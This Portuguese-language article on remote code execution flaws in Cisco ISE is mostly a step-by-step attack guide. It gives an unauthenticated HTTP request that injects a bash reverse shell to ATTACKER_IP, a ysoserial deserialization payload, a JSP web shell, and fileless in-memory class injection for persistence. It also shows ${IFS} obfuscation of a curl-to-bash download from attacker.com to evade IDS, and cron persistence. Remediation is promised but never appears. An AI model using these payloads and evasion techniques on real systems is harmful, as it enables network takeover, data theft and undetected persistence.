
Análise técnica aprofundada das vulnerabilidades de RCE no Cisco ISE, incluindo técnicas de exploração, métodos de evasão e estratégias de remediação para pesquisadores de segurança e testadores de penetração.
As vulnerabilidades de Execução Remota de Código (RCE) no Cisco Identity Services Engine (ISE) representam um ponto de ruptura crítico na segurança perimetral corporativa. Para um pesquisador de segurança de elite, o ISE não é simplesmente um componente de autenticação: é a chave mestra que controla o acesso a toda a infraestrutura de rede.
Risco Crítico: Um atacante não autenticado pode obter controle total do sistema em menos de 5 minutos, sem deixar rastros detectáveis em sistemas tradicionais de monitoramento.
| CVE | Endpoint | Método | Autenticação | Severidade |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Nenhuma | CRÍTICA |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Fraca | CRÍTICA |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass possível | CRÍTICA |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARQUITETURA NAC EXPOSTA │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [Porta de Gerenciamento ISE] │
│ ↓ │
│ [APIs Não Autenticadas] │
│ ↓ │
│ [Camada de Desserialização Java] │
│ ↓ │
│ [Container Web Tomcat] │
│ ↓ │
│ [Execução de Comandos do SO] │
│ ↓ │
│ [Comprometimento Total da Rede] │
│ │
└─────────────────────────────────────────────────────────┘
Descoberta Crítica: A API /deployment-rpc/ não valida tokens de sessão nas primeiras linhas de processamento, permitindo um bypass completo de autenticação.
Fase 1: Reconhecimento
# Varredura de portas e serviços
nmap -sV -p 8443,8080 <ISE_IP>
# Enumeração de endpoints RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Fase 2: Exploração Direta
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Resultado: Execução de comando arbitrário com permissões de root (usuário Tomcat executa como root em configurações padrão).
[Payload Serializado] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Execução da Gadget Chain]
↓
[Runtime.exec() invocado]
Payload PoC (usando ysoserial):
# Geração de gadget chain maliciosa
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Envio do payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impacto: Elevação de privilégios de conta de "Somente Leitura" para root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat processa arquivo JSP]
↓
[Execução com permissões root]
Exemplo de Web Shell Malicioso:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Acesso posterior:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Um hacker de elite nunca deixa arquivos em disco. A injeção em memória é a técnica de persistência invisível:
// Injeção no Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Vantagem: As varreduras de arquivos tradicionais (OSSEC, Tripwire) não detectam nada.
${IFS}# Comando original (detectável)
curl http://attacker.com/shell.sh | bash
# Comando ofuscado (evasão de IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante com indireção de variável
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_malicioso'
Por que funciona: Os sistemas de detecção procuram padrões de palavras-chave (curl, bash, |). O uso de ${IFS} (Internal Field Separator) divide as palavras sem alterar seu significado no bash.
# ❌ DETECTÁVEL - Arquivos em /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISÍVEL - Injeção no processo Tomcat
# 1. Criar listener netcat em memória
# 2. Injetar thread na JVM que mantém conexão persistente
# 3. Não há arquivos, não há processos órfãos visíveis